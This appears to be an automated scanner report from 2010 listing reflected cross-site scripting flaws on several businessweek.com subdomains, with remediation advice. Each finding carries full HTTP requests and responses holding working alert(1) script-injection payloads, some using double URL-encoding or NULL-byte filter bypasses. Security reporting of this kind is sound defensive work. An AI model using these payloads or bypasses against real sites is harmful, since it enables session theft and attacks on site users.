Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8210%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8ceed89cd85 was submitted in the REST URL parameter 1. This input was echoed as d8210"><script>alert(1)</script>8ceed89cd85 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /topics-ad8210%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8ceed89cd85/ HTTP/1.1 Host: bx.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e-fips-rhel5 Content-Language: en X-Powered-By: Servlet/2.4 JSP/2.0 benv: njbweb04 bvh: bx.businessweek.com Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Date: Sat, 20 Nov 2010 14:51:01 GMT Connection: close Connection: Transfer-Encoding Content-Length: 85165
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 5192e%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e167bbc634ea was submitted in the REST URL parameter 1. This input was echoed as 5192e</title><script>alert(1)</script>167bbc634ea in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /topics-a5192e%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e167bbc634ea/ HTTP/1.1 Host: bx.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e-fips-rhel5 Content-Language: en X-Powered-By: Servlet/2.4 JSP/2.0 benv: njbweb04 bvh: bx.businessweek.com Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Date: Sat, 20 Nov 2010 14:51:07 GMT Connection: close Connection: Transfer-Encoding Content-Length: 85195
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e3f5e%253cscript%253ealert%25281%2529%253c%252fscript%253e6dcc67eae42 was submitted in the REST URL parameter 1. This input was echoed as e3f5e<script>alert(1)</script>6dcc67eae42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /topics-ae3f5e%253cscript%253ealert%25281%2529%253c%252fscript%253e6dcc67eae42/ HTTP/1.1 Host: bx.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e-fips-rhel5 Content-Language: en X-Powered-By: Servlet/2.4 JSP/2.0 benv: njbweb04 bvh: bx.businessweek.com Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Date: Sat, 20 Nov 2010 14:51:04 GMT Connection: close Connection: Transfer-Encoding Content-Length: 85155
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4c06%2522%253balert%25281%2529%252f%252f79481f9450 was submitted in the REST URL parameter 1. This input was echoed as b4c06";alert(1)//79481f9450 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /topics-ab4c06%2522%253balert%25281%2529%252f%252f79481f9450/ HTTP/1.1 Host: bx.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e-fips-rhel5 Content-Language: en X-Powered-By: Servlet/2.4 JSP/2.0 benv: njbweb04 bvh: bx.businessweek.com Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache Date: Sat, 20 Nov 2010 14:51:03 GMT Connection: close Connection: Transfer-Encoding Content-Length: 85085
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang= ...[SNIP]... <![CDATA[ window.epulse_content_group="cg1=topic network,cg2=topic list page:AB4C06";ALERT(1)//79481F9450,cg3=topic list:unauthenticated"; var mv_pageName = "topic list"; var mv_page = "topic list page:AB4C06";ALERT(1)//79481F9450"; var mv_user = "unauthenticated"; var mv_tid = "000000"; va ...[SNIP]...
1.5. http://feedroom.businessweek.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://feedroom.businessweek.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3da90"><script>alert(1)</script>33a75002854 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?3da90"><script>alert(1)</script>33a75002854=1 HTTP/1.1 Host: feedroom.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Set-Cookie: ARPT=XVIOVMS10.100.128.104CKOMO; path=/ Date: Sat, 20 Nov 2010 14:55:31 GMT Server: Apache/2.2.15 (Unix) Resin/3.1.6 Expires: Mon, 06 Jan 1974 00:00:01 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache P3P: policyref='/w3c/p3p.xml', CP='NOI NID OUR NOR UNI' Set-Cookie: fr_puid=112010_095531919_w77a91dc1x12c696ad853xw5b33 Set-Cookie: frC=1 Set-Cookie: JSESSIONID=abcNz08k86CdQbcZgYPXs; path=/ Content-Type: text/html; charset=iso-8859-1 Vary: Accept-Encoding,User-Agent Content-Length: 3083 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html id="all_html"> <head> <title>The Businessweek V ...[SNIP]... <script type="text/javascript" language="javascript" src="http://feedroom.businessweek.com/domovoi.jsp;jsessionid=abcNz08k86CdQbcZgYPXs?nsid=a-77a91dc1:12c696ad853:-5b34&3da90"><script>alert(1)</script>33a75002854=1"> ...[SNIP]...
The value of the letterIn request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6fba3"><script>alert(1)</script>a3382fc7225 was submitted in the letterIn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /research/common/symbollookup/symbollookup.asp?letterIn=C6fba3"><script>alert(1)</script>a3382fc7225 HTTP/1.1 Host: investing.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1290264203.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_c22=unknown-www; rsi_segs=; GZIP=1; s_p_s_prop22=unknown-www; gpv_p48=no%20value; s_cc=true; 1663%5F0=AD2311FE216DEC8F62318CDB4CD40B5E; ebNewBandWidth_.investing.businessweek.com=97%3A1290264377146; s_vi=[CS]v1|2673EFA00514877A-4000016500266C74[CE]; __utma=1.1668024259.1290264203.1290264203.1290264203.1; __utmc=1; __qca=P0-1426479591-1290264381306; __utmb=1.2.10.1290264203; SC_LINKS=%5B%5BB%5D%5D;
Response
HTTP/1.1 200 OK Cache-Control: private Connection: close Date: Sat, 20 Nov 2010 14:56:45 GMT Content-Length: 55045 Content-Type: text/html Expires: Sat, 20 Nov 2010 14:55:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: CP="PHY ONL UNI PUR FIN COM NAV INT DEM STA HEA CUR ADM DEV OUR IND"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>List of Public Companies Worldwide - BusinessWeek - ...[SNIP]... <input type="text" id="textBox" name="textIn" value="C6fba3"><script>alert(1)</script>a3382fc7225" size="28" onfocus="if(this.value == 'Enter a symbol or company name')this.value='';" /> ...[SNIP]...
The value of the letterIn request parameter is copied into the HTML document as plain text between tags. The payload 8b6b9<script>alert(1)</script>0922a06736a was submitted in the letterIn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /research/common/symbollookup/symbollookup.asp?letterIn=C8b6b9<script>alert(1)</script>0922a06736a HTTP/1.1 Host: investing.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1290264203.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_c22=unknown-www; rsi_segs=; GZIP=1; s_p_s_prop22=unknown-www; gpv_p48=no%20value; s_cc=true; 1663%5F0=AD2311FE216DEC8F62318CDB4CD40B5E; ebNewBandWidth_.investing.businessweek.com=97%3A1290264377146; s_vi=[CS]v1|2673EFA00514877A-4000016500266C74[CE]; __utma=1.1668024259.1290264203.1290264203.1290264203.1; __utmc=1; __qca=P0-1426479591-1290264381306; __utmb=1.2.10.1290264203; SC_LINKS=%5B%5BB%5D%5D;
Response
HTTP/1.1 200 OK Cache-Control: private Connection: close Date: Sat, 20 Nov 2010 14:56:45 GMT Content-Length: 54520 Content-Type: text/html Expires: Sat, 20 Nov 2010 14:55:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: CP="PHY ONL UNI PUR FIN COM NAV INT DEM STA HEA CUR ADM DEV OUR IND"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>List of Public Companies Worldwide - BusinessWeek - ...[SNIP]... <strong>C8b6b9<script>alert(1)</script>0922a06736a</strong> ...[SNIP]...
The value of the letterIn request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c89ef"><script>alert(1)</script>7b0fdac9a28 was submitted in the letterIn parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /research/common/symbollookup/symbollookup.asp?letterIn=Bc89ef"><script>alert(1)</script>7b0fdac9a28 HTTP/1.1 Host: investing.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1290264203.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_c22=unknown-www; rsi_segs=; GZIP=1; s_p_s_prop22=unknown-www; gpv_p48=no%20value; s_cc=true; 1663%5F0=AD2311FE216DEC8F62318CDB4CD40B5E; ebNewBandWidth_.investing.businessweek.com=97%3A1290264377146; s_vi=[CS]v1|2673EFA00514877A-4000016500266C74[CE]; __utma=1.1668024259.1290264203.1290264203.1290264203.1; __utmc=1; __qca=P0-1426479591-1290264381306; __utmb=1.2.10.1290264203; SC_LINKS=%5B%5BB%5D%5D;
Response
HTTP/1.1 200 OK Cache-Control: private Connection: close Date: Sat, 20 Nov 2010 14:56:49 GMT Content-Length: 59313 Content-Type: text/html Expires: Sat, 20 Nov 2010 14:55:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: CP="PHY ONL UNI PUR FIN COM NAV INT DEM STA HEA CUR ADM DEV OUR IND"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>List of Public Companies Worldwide - BusinessWeek - ...[SNIP]... <input type="text" id="textBox" name="textIn" value="Bc89ef"><script>alert(1)</script>7b0fdac9a28" size="28" onfocus="if(this.value == 'Enter a symbol or company name')this.value='';" /> ...[SNIP]...
The value of the lookuptype request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fa6d"><script>alert(1)</script>195b82a465 was submitted in the lookuptype parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /research/common/symbollookup/symbollookup.asp?lookuptype=private3fa6d"><script>alert(1)</script>195b82a465®ion=all&letterIn=A HTTP/1.1 Host: investing.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1290264203.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_c22=unknown-www; rsi_segs=; GZIP=1; s_p_s_prop22=unknown-www; gpv_p48=no%20value; s_cc=true; 1663%5F0=AD2311FE216DEC8F62318CDB4CD40B5E; ebNewBandWidth_.investing.businessweek.com=97%3A1290264377146; s_vi=[CS]v1|2673EFA00514877A-4000016500266C74[CE]; __utma=1.1668024259.1290264203.1290264203.1290264203.1; __utmc=1; __qca=P0-1426479591-1290264381306; __utmb=1.2.10.1290264203; SC_LINKS=%5B%5BB%5D%5D;
Response
HTTP/1.1 200 OK Cache-Control: private Connection: close Date: Sat, 20 Nov 2010 14:57:46 GMT Content-Length: 86286 Content-Type: text/html Expires: Sat, 20 Nov 2010 14:56:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: CP="PHY ONL UNI PUR FIN COM NAV INT DEM STA HEA CUR ADM DEV OUR IND"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>List of Public Companies Worldwide - BusinessWeek, ...[SNIP]... <a class="link" href="symbollookup.asp?lookuptype=private3fa6d"><script>alert(1)</script>195b82a465®ion=all&letterIn=A&firstrow=180"> ...[SNIP]...
1.10. http://investing.businessweek.com/research/common/symbollookup/symbollookup.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://investing.businessweek.com
Path:
/research/common/symbollookup/symbollookup.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bcad0"><script>alert(1)</script>503e665ac94 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /research/common/symbollookup/symbollookup.asp?letterIn=C&bcad0"><script>alert(1)</script>503e665ac94=1 HTTP/1.1 Host: investing.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1290264203.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sq=%5B%5BB%5D%5D; s_c22=unknown-www; rsi_segs=; GZIP=1; s_p_s_prop22=unknown-www; gpv_p48=no%20value; s_cc=true; 1663%5F0=AD2311FE216DEC8F62318CDB4CD40B5E; ebNewBandWidth_.investing.businessweek.com=97%3A1290264377146; s_vi=[CS]v1|2673EFA00514877A-4000016500266C74[CE]; __utma=1.1668024259.1290264203.1290264203.1290264203.1; __utmc=1; __qca=P0-1426479591-1290264381306; __utmb=1.2.10.1290264203; SC_LINKS=%5B%5BB%5D%5D;
Response
HTTP/1.1 200 OK Cache-Control: private Connection: close Date: Sat, 20 Nov 2010 14:56:46 GMT Content-Length: 86441 Content-Type: text/html Expires: Sat, 20 Nov 2010 14:55:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: CP="PHY ONL UNI PUR FIN COM NAV INT DEM STA HEA CUR ADM DEV OUR IND"
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>List of Public Companies Worldwide - BusinessWeek, ...[SNIP]... <a class="link" href="symbollookup.asp?letterIn=C&bcad0"><script>alert(1)</script>503e665ac94=1&firstrow=180"> ...[SNIP]...
1.11. http://search.businessweek.com/Search [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://search.businessweek.com
Path:
/Search
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 141cf"><script>alert(1)</script>0cf82cd9208 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Search?141cf"><script>alert(1)</script>0cf82cd9208=1 HTTP/1.1 Host: search.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:14:04 GMT Server: Atomz/1.0 Content-Type: text/html; charset=utf-8 Via: 1.1 center.atomz.com:90 X-Cache: MISS from center.atomz.com Connection: close Content-Length: 40653
1.12. http://whitepapers.bx.businessweek.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://whitepapers.bx.businessweek.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a757"><script>alert(1)</script>50665fb5a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?2a757"><script>alert(1)</script>50665fb5a1=1 HTTP/1.1 Host: whitepapers.bx.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sat, 20 Nov 2010 15:27:44 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.2.14 Set-Cookie: PHPSESSID=ss1ekg3unrctr0ntm92h1i7oj3; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: 0ca302bedbca35bbd3966a4cbc547263=7d6218ea197d34ee3e81ca0fa3f70b4f; expires=Sun, 20-Nov-2011 15:27:44 GMT; path=/ Last-Modified: Sat, 20 Nov 2010 15:27:44 GMT Cache-Control: post-check=0, pre-check=0 P3P: CP="ALL DSP NID CUR OUR STP STA" Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" x ...[SNIP]... <a href="http://ad.vulnerable.ad.partner/jump/mgh.bw.businessexchange/whitepapers;tid=000085;u=000085;url=/?2a757"><script>alert(1)</script>50665fb5a1=1;page=partnerpage;partnerpage=specialtop;sz=980x250,980x115,980x418,980x66,980x110,1x1;tile=2;ord=8534180330" rel="external"> ...[SNIP]...
1.13. http://whitepapers.bx.businessweek.com/ [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://whitepapers.bx.businessweek.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5580d'-alert(1)-'b294f53bfb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?5580d'-alert(1)-'b294f53bfb=1 HTTP/1.1 Host: whitepapers.bx.businessweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sat, 20 Nov 2010 15:27:46 GMT Server: Apache/2.0.52 (Red Hat) X-Powered-By: PHP/5.2.14 Set-Cookie: PHPSESSID=m0rqi01gvd0g10hl1uke1tt2u5; path=/ Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: 0ca302bedbca35bbd3966a4cbc547263=c200cf46266a72151d7c4263d6ee1cc1; expires=Sun, 20-Nov-2011 15:27:46 GMT; path=/ Last-Modified: Sat, 20 Nov 2010 15:27:46 GMT Cache-Control: post-check=0, pre-check=0 P3P: CP="ALL DSP NID CUR OUR STP STA" Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">